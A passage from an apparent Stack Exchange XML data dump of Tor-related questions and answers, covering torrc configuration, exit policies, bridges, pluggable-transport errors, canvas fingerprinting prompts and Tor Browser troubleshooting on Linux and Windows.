directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously this is a pretty old torrc file and the developers need to modify it to show what the latest can do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other torrc file is a short file in a longwinded path at :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor$ cat torrc&#xA;# This file was generated by Tor; if you edit it, comments will not be preserved&#xA;# The old torrc file was renamed to torrc.orig.1 or similar, and Tor will ignore it&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update 14/10/2017 - With the recent versions of Tor in Debian testing-buster it has been made more longwinded than ever as the place is now - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Browser/TorBrowser/Data/Tor/$ cat torrc&#xA;&#xA;DataDirectory /home/&amp;lt;USERNAME&amp;gt;/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor&#xA;DirReqStatistics 0&#xA;GeoIPFile /home/&amp;lt;USERNAME&amp;gt;/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/geoip&#xA;GeoIPv6File /home/&amp;lt;USERNAME&amp;gt;/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/geoip6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am an end-user. I want to use Tor for browsing and downloading short files (at times). Are there any tips or recommendations so that I can have good time using Tor while at the same time am a good citizen in the Tor world.&lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="3547" LastEditDate="2017-10-14T11:45:08.283" LastActivityDate="2017-10-14T11:45:08.283" Title="Any tips, recommendations for torrc for an end-user?" Tags="|tor-browser-bundle|configuration|linux|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4019" PostTypeId="2" ParentId="3497" CreationDate="2014-09-05T00:28:21.933" Score="3" Body="&lt;p&gt;This is what I did and all is fine now:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reboot into ClockworkMod recovery&lt;/li&gt;&#xA;&lt;li&gt;Select advanced&lt;/li&gt;&#xA;&lt;li&gt;Wipe Dalvik cache&lt;/li&gt;&#xA;&lt;li&gt;Wipe cache partition&lt;/li&gt;&#xA;&lt;li&gt;Reboot&lt;/li&gt;&#xA;&lt;li&gt;All is working fine&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this works for you.&lt;/p&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="13021" LastEditDate="2016-05-27T13:17:30.707" LastActivityDate="2016-05-27T13:17:30.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4020" PostTypeId="1" CreationDate="2014-09-05T04:41:58.020" Score="1" ViewCount="274" Body="&lt;p&gt;How do I edit Tor so as to make my IP look like coming from either USA or UK (exact edit)&#xA;I know its edited in 'torrc file' maybe if someone can show me a cut and paste solution - TQ&lt;/p&gt;&#xA;" OwnerUserId="3502" LastActivityDate="2014-10-05T11:46:39.013" Title="IP's from USA/UK" Tags="|configuration|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ClosedDate="2014-10-05T22:39:27.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="4021" PostTypeId="2" ParentId="4018" CreationDate="2014-09-05T08:04:14.290" Score="0" Body="&lt;p&gt;The &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/etc/tor/torrc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;is the default configuration file for when you install the tor standalone package.&#xA;The other one is for your browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended way is to just use the defaults for both if you just want to 'use' it.&#xA;If you have some specific things you want to enable with it then you have to be more specific about the settings you want to enable so that we can guide you if needed.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-05T08:04:14.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4022" PostTypeId="2" ParentId="4018" CreationDate="2014-09-05T08:54:37.453" Score="1" Body="&lt;p&gt;If you are new to Tor I would recommend spending some time using it and understanding how it works before considering any tweaks. After you become more comfortable with it, you may want to test different modifications of the torrc file. Make sure you don't engage in any sensitive activities during this period. From experience, you will usually render it unusable in the process, so be sure to keep a backup of the original file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as they say in the classics, &quot;if it ain't broke, don't fix it&quot;. This is particularly apropos when it comes to Tor. Only after trying an inordinate amount of tweaks trying to make it &quot;better&quot; did I end up with settings that were essentially the same as the original torrc file. It was actually a good feeling: surprise, surprise, the people who designed Tor know precisely what they're doing, and the default end-user configuration is something that has been well thought out. If you're anything like me, however, you will still want to pull it apart and put it back together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to being a &quot;good Tor citizen&quot;, I believe the best way to support Tor is to use it to browse for entirely banal things that you would typically do anyway. (Aside from logging into Facebook or high-bandwidth downloading, say). Doing so normalises its use and offers plausible deniability to those who do need it to protect their anonymity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, if you want to be a &quot;super-awesome Tor citizen&quot; you could always offer time or resources into helping the project. Amongst others, you could donate your bandwidth as a Tor relay &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-doc-relay.html.en&lt;/a&gt;; perhaps of personal interest to you, doing so would involve modifications to the torrc file.&lt;/p&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2014-09-05T08:54:37.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4023" PostTypeId="2" ParentId="4020" CreationDate="2014-09-05T10:47:17.337" Score="0" Body="&lt;p&gt;In your torrc, add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;StrictExitNodes 1&#xA;ExitNodes {us},{uk}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-05T10:47:17.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4024" PostTypeId="1" AcceptedAnswerId="4025" CreationDate="2014-09-05T10:47:20.763" Score="1" ViewCount="38" Body="&lt;p&gt;My question is whether data about my addressed websites and me are visible/unencrypted within my network.&#xA;E.g. I want to access '&lt;a href=&quot;https://ixquick.com/&quot; rel=&quot;nofollow&quot;&gt;https://ixquick.com/&lt;/a&gt;' using the Tor browser. Is the request for ixquick or other information visible/unencrypted between my computer and my home router?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I correct when I say, the only connection, where the addressed website is even visible is between the exit node and the website?&lt;/p&gt;&#xA;" OwnerUserId="3554" LastEditorUserId="923" LastEditDate="2014-09-05T13:22:39.323" LastActivityDate="2014-09-05T13:22:39.323" Title="Visiblity of data in my network (Encrypted Tunnels)" Tags="|exit-relays|onion-routing|encryption|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4025" PostTypeId="2" ParentId="4024" CreationDate="2014-09-05T10:49:12.843" Score="0" Body="&lt;p&gt;Its encrypted from your computer until it exits the exit node.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-05T10:49:12.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4026" PostTypeId="2" ParentId="4014" CreationDate="2014-09-05T11:16:56.053" Score="4" Body="&lt;p&gt;This was caused by the fact that the Tor Browser was running from Program Files. It would have been useful in the help to say that the Tor Browser bundle should be copied to a location with write access. Non admin accounts can't write to Program Files, which is why it failed. I just copied to /User/Public, and all is fine.&lt;/p&gt;&#xA;" OwnerUserId="3548" LastEditorUserId="923" LastEditDate="2014-09-05T13:39:19.673" LastActivityDate="2014-09-05T13:39:19.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4027" PostTypeId="1" CreationDate="2014-09-05T15:24:09.577" Score="2" ViewCount="888" Body="&lt;p&gt;Keyboard does not work at all in Iceweasel, and in gpedit backspace and P keys do not work. Oddly enough, P seems to refresh the screen. What could be the issue? Tails is running off of a USB stick on a Lenovo Y580 laptop.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastEditorUserId="923" LastEditDate="2014-09-05T16:01:04.953" LastActivityDate="2014-09-05T16:01:04.953" Title="My keyboard does not work in Tails 1.1.1, what could be causing it?" Tags="|tails|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4028" PostTypeId="1" AcceptedAnswerId="4053" CreationDate="2014-09-05T16:49:54.827" Score="4" ViewCount="1142" Body="&lt;pre&gt;&lt;code&gt;root@alireza:# apt-cache policy tor obfsproxy &#xA;tor:&#xA;  Installed: 0.2.4.23-1&#xA;  Candidate: 0.2.4.23-1&#xA;  Version table:&#xA; *** 0.2.4.23-1 0&#xA;        500 http://ftp.debian.org/debian/ testing/main amd64 Packages&#xA;        100 /var/lib/dpkg/status&#xA;obfsproxy:&#xA;  Installed: 0.2.11-1&#xA;  Candidate: 0.2.11-1&#xA;  Version table:&#xA; *** 0.2.11-1 0&#xA;        500 http://ftp.debian.org/debian/ testing/main amd64 Packages&#xA;        100 /var/lib/dpkg/status&#xA;&#xA;root@alireza:# which obfsproxy &#xA;/usr/bin/obfsproxy&#xA;&#xA;root@alireza:# which tor&#xA;/usr/sbin/tor&#xA;&#xA;root@alireza:# cat /etc/tor/torrc&#xA;ControlPort 9051&#xA;HashedControlPassword 16:********************************************* &#xA;CookieAuthentication 0&#xA;&#xA;##########Bridges List&#xA;UseBridges 1&#xA;&#xA;#obfsproxy Bridges List&#xA;bridge obfs3 19*.***.***.***:1****&#xA;#ServerTransportPlugin obfs3 exec /usr/sbin/obfsproxy managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;error log&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 05 21:06:57.000 [warn] We were supposed to connect to bridge '19*.***.***.***:1****' using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2016-01-23T16:02:40.560" Title="using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'" Tags="|obfsproxy|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4029" PostTypeId="1" AcceptedAnswerId="4090" CreationDate="2014-09-05T18:19:11.860" Score="10" ViewCount="29570" Body="&lt;p&gt;I got the following when reaching github.com &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;This website (github.com) attempted to extract HTML5 canvas image data, which may be used to uniquely identify your computer.&#xA;&#xA;Should Tor browser allow this website to extract HTML5 canvas image data ? &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I read quite a few threads on the tor stackexchange site but none of them explain what actually is &quot;HTML 5 canvas image data&quot; can somebody explain it without being too technical (using layman terms as and when possible). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to know more. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2020-01-21T19:52:08.227" Title="HTML 5 canvas Imagedata Extraction, what does it actually mean?" Tags="|tor-browser-bundle|firefox|linux|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4030" PostTypeId="2" ParentId="4029" CreationDate="2014-09-05T19:54:32.093" Score="4" Body="&lt;p&gt;I think the easiest is to quote the wikipedia entry:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Canvas consists of a drawable region defined in HTML code with height&#xA;  and width attributes. JavaScript code may access the area through a&#xA;  full set of drawing functions similar to those of other common 2D&#xA;  APIs, thus allowing for dynamically generated graphics. Some&#xA;  anticipated uses of canvas include building graphs, animations, games,&#xA;  and image composition.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Canvas_element&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Canvas_element&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest tor browser bundle has some new bugfixes related to this.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bug 12684: Improve Canvas image extraction permissions prompt Bug&#xA;  7265: Only prompt for first party canvas access. Log all scripts that&#xA;  attempt to extract canvas images to Browser console.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2014-09-06T07:37:07.563" LastActivityDate="2014-09-06T07:37:07.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4031" PostTypeId="1" CreationDate="2014-09-05T22:09:00.043" Score="2" ViewCount="290" Body="&lt;p&gt;I have gone against advice and set up an exit relay. Let's face it more are needed and I am happy to help, I have unlimited broadband and can not think of any better way to use it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to know, is it ok for me to continue to use the same PC for normal internet use? Or should I use an entirely different PC for my own use?&#xA;Is it safe to use your own personal PC or Laptop as a Tor Exit Relay? And also for shopping etc?&#xA;Or is it unsafe to use a PC assigned as a Tor exit relay for personal use?&lt;/p&gt;&#xA;" OwnerUserId="3558" LastEditorUserId="923" LastEditDate="2014-09-06T10:30:15.683" LastActivityDate="2014-09-06T10:30:15.683" Title="Tor Exit Relay safe to use?" Tags="|security|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4032" PostTypeId="1" CreationDate="2014-09-06T05:52:29.993" Score="3" ViewCount="3346" Body="&lt;p&gt;I'm using the windows installation of the Tor browser bundle. I would like to share that connection with another interface on that computer so that the entire connection with that network is piped through the Tor connection. Since we lost Vidalia, it is confusing how to proceed with this. Could somebody guide me how to do this?&lt;/p&gt;&#xA;" OwnerUserId="3562" LastEditorUserId="923" LastEditDate="2014-09-06T10:38:36.603" LastActivityDate="2017-04-25T12:11:47.720" Title="How to share my Tor connection with my internal network (Tor 3.5)?" Tags="|transparent-proxy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4033" PostTypeId="2" ParentId="4031" CreationDate="2014-09-06T07:40:57.243" Score="1" Body="&lt;p&gt;You can do so, but keep in mind the things that other people can do through your exit relay.&#xA;You have to be a bit prepared for things that can arise.&#xA;You can use your 'regular' computer for it, but if you do then try to run it with as much uptime as possible to help the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a guide here with information on what to expect when running a exit node:&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq-abuse.html.en#TypicalAbuses&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq-abuse.html.en#TypicalAbuses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you get second thoughts then you can run a bridge relay or as a 'internal' non-exit node.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-06T07:40:57.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4034" PostTypeId="1" CreationDate="2014-09-06T08:08:23.377" Score="2" ViewCount="7513" Body="&lt;p&gt;I'm running TBB on windows 8. I have clicked on onion symbol on top left, clicked on &quot;preference&quot;, Ticked &quot;Use custom proxy settings&quot; and put my socks5 client info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SOCKS5 127.0.0.1:9956&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the IP from socks5 client when I checked on browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me if this means I'm running socks5 over Tor network OR since I don't use &quot;the recommended proxy settings&quot;, it means I gave up using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see 127.0.0.1:9150 when I tick on &quot;use recommended proxy settings&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port 9150 is listening port, but I do not know what is using port 9150.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never seen accurate answer on this question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will appreciate if you can explain this further. Thanks for reading.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="923" LastEditDate="2014-09-06T10:19:57.833" LastActivityDate="2015-03-30T01:49:03.953" Title="Proxy over Tor?" Tags="|tor-browser-bundle|configuration|socks|torcheck|tor-cloud|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4035" PostTypeId="1" AcceptedAnswerId="4309" CreationDate="2014-09-06T11:31:54.650" Score="4" ViewCount="9379" Body="&lt;p&gt;I would like to configure my wireless router as an &quot;anonymizing middlebox&quot; for guests. I have read the directions &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/Torouter/OpenWRT_setup_notes&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tutorial, as I understand:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Creates a wireless network and assigns it to a firewall zone named 'transtor'.&lt;/li&gt;&#xA;&lt;li&gt;It then adds rules to REJECT all incoming and forwarding traffic.&lt;/li&gt;&#xA;&lt;li&gt;ACCEPTs incoming traffic to UDP port 67 for DHCP.&lt;/li&gt;&#xA;&lt;li&gt;ACCEPTs incoming TCP traffic to Tor's transparent proxying port and DNS proxy port.&lt;/li&gt;&#xA;&lt;li&gt;Then configures PREROUTING redirections (using firewall.user) to REDIRECT all DNS requests to Tor and all TCP traffic to Tor's transparent proxying port.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The thing I don't understand is in the last bullet. As far as I understand:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The client wants to connect, say, to google.com:80, therefore it looks the address up. The DNS request gets redirected to Tor's DNS port, which then returns Google's IP.&lt;/li&gt;&#xA;&lt;li&gt;The client then tries to connect (IP of Google):80, which the firewall REDIRECTs to (IP of Google):9040. The SYN packet then gets rejected by the router, because it would be forwarding traffic.&lt;/li&gt;&#xA;&lt;li&gt;If (by some miracle or DNS trickery) Tor would actually get the packet, how would it know to what port the packet was originally destined to? Or to what host, for that matter; the packet now has (router's IP):9040 as its destination.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't ask for a solution to a problem, I just want an explanation on how this particular setup is supposed to work and what I am missing. In the 3rd point I considered the case in which Tor's DNS always returns its own IP, but then how does it know what host:port the new incoming SYN is for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for answers. Also, I have already asked this question on Network engineering, where it was closed as off-topic. If this is also not the right place to ask this question, please kindly tell me so before closing and offer an alternate place if possible.&lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2016-09-02T02:57:45.227" Title="How does Tor transparent proxying work?" Tags="|transparent-proxy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4036" PostTypeId="1" CreationDate="2014-09-06T12:07:11.370" Score="2" ViewCount="115" Body="&lt;p&gt;I am (very) new to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, each time a data-package passes a Tor-relay, it is encrypted/decrypted, thereby changing in size only marginally. It seems to me that if somebody monitors the Tor-relays, he could analyze the size of the data-packages entering/leaving the relays. Combine this with an analysis of the timing of each data-package entering/leaving a Tor-relay, and you should get a very clear picture of the entire path, revealing each individual Tor-user and his activity-profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid this, all data-packages must be chopped/padded at every station after encryption/decryption, so that they all have the same size en-route.&#xA;Also, to avoid time-analysis, a fair number of bogus data-packages must be swapped around the network, so each Tor-relay and indeed each Tor-user, appears to have a constant workload.&lt;/p&gt;&#xA;" OwnerUserId="3568" LastEditorUserId="350" LastEditDate="2015-10-29T20:57:08.690" LastActivityDate="2015-11-28T21:43:32.510" Title="traffic-analysis" Tags="|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4037" PostTypeId="2" ParentId="4034" CreationDate="2014-09-06T12:30:53.710" Score="3" Body="&lt;p&gt;This option is for setting the proxy port Tor uses. When you start the Tor Browser Bundle an instance of Tor will also be started. This is what you see listening on Port &lt;code&gt;9150&lt;/code&gt; and where by default the Tor Browser would connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What service is running on port &lt;code&gt;9956&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you start another instance of Tor on port &lt;code&gt;9956&lt;/code&gt;, you really don't need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have another Proxy that you require to connect to the internet you should set this inside the wizard, either by clicking on &lt;code&gt;Open Settings&lt;/code&gt; while starting the Tor Browser Bundle or by clicking on the Tor Button (the onion next to your address bar) and, then &lt;code&gt;Open Network Settings&lt;/code&gt; and select &lt;code&gt;This computer needs to use a proxy to access the Internet&lt;/code&gt;. From there you can set the proxy. However, do not use this to connect to an instance of Tor.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-09-06T12:30:53.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4038" PostTypeId="2" ParentId="4034" CreationDate="2014-09-06T20:22:12.040" Score="0" Body="&lt;p&gt;127.0.0.1:9150 is the SOCKS5 service that your local Tor client provides.&#xA;Your Tor Browser should use it, as per the recommended settings.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-09-06T20:22:12.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4039" PostTypeId="1" CreationDate="2014-09-06T21:01:31.547" Score="1" ViewCount="231" Body="&lt;p&gt;I am on Debian and at times everything happens except that Iceweasel/Firefox doesn't run. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor&#xA;&#xA;Launching Tor Browser Bundle for Linux in /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US&#xA;&#xA;(process:6455): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&#xA;&#xA;(firefox:6455): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::sm-connect after class was initialised&#xA;&#xA;(firefox:6455): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::show-crash-dialog after class was initialised&#xA;&#xA;(firefox:6455): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::display after class was initialised&#xA;&#xA;(firefox:6455): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::default-icon after class was initialised&#xA;Sep 07 02:21:53.744 [notice] Tor v0.2.4.23 (git-a9ea51dc0bd48126) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1i.&#xA;Sep 07 02:21:53.744 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Sep 07 02:21:53.744 [notice] Read configuration file &quot;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/torrc-defaults&quot;.&#xA;Sep 07 02:21:53.744 [notice] Read configuration file &quot;/home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/torrc&quot;.&#xA;Sep 07 02:21:53.749 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Sep 07 02:21:53.750 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Sep 07 02:21:53.000 [notice] Pluggable transport proxy (fte exec ./Tor/PluggableTransports/fteproxy.bin --managed) does not provide any needed transports and will not be launched.&#xA;&#xA;Sep 07 02:21:53.000 [notice] Pluggable transport proxy (obfs2,obfs3 exec ./Tor/PluggableTransports/obfsproxy.bin managed) does not provide any needed transports and will not be launched.&#xA;Sep 07 02:21:53.000 [notice] Pluggable transport proxy (flashproxy exec ./Tor/PluggableTransports/flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched.&#xA;Sep 07 02:21:53.000 [notice] Parsing GEOIP IPv4 file /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/geoip.&#xA;Sep 07 02:21:53.000 [notice] Parsing GEOIP IPv6 file /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Data/Tor/geoip6.&#xA;Sep 07 02:21:54.000 [notice] We now have enough directory information to build circuits.&#xA;Sep 07 02:21:54.000 [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;Sep 07 02:21:54.000 [notice] New control connection opened.&#xA;Sep 07 02:21:54.000 [notice] Pluggable transport proxy (fte exec ./Tor/PluggableTransports/fteproxy.bin --managed) does not provide any needed transports and will not be launched.&#xA;Sep 07 02:21:54.000 [notice] Pluggable transport proxy (obfs2,obfs3 exec ./Tor/PluggableTransports/obfsproxy.bin managed) does not provide any needed transports and will not be launched.&#xA;&#xA;Sep 07 02:21:54.000 [notice] Pluggable transport proxy (flashproxy exec ./Tor/PluggableTransports/flashproxy-client --register :0 :9000) does not provide any needed transports and will not be launched.&#xA;Sep 07 02:21:54.000 [notice] New control connection opened.&#xA;Sep 07 02:21:54.000 [notice] Bootstrapped 85%: Finishing handshake with first hop.&#xA;Sep 07 02:21:55.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Sep 07 02:21:56.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Sep 07 02:21:56.000 [notice] Bootstrapped 100%: Done.&#xA;Sep 07 02:21:57.000 [notice] New control connection opened.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this nothing and you get a short window saying Firefox is running but not showing or words to that effect. If I run ps ux I get the following two entries :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ps ux &#xA;&#xA;shirish   6443  0.0  0.0   4308   692 pts/0    S+   02:21   0:00 /bin/sh /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/start-tor-browser&#xA;&#xA;shirish   6473  0.2  1.1  47216 24552 pts/0    S+   02:21   0:01 /home/shirish/.local/share/torbrowser/tbb/x86_64/tor-browser_en-US/Tor/tor --deb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking forward for solutions. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="923" LastEditDate="2014-09-07T11:23:12.140" LastActivityDate="2014-09-07T11:23:12.140" Title="Tor starting up but at times Firefox/Iceweasel doesn't show up" Tags="|tor-browser-bundle|linux|" AnswerCount="0" CommentCount="0" ContentLicense="CC 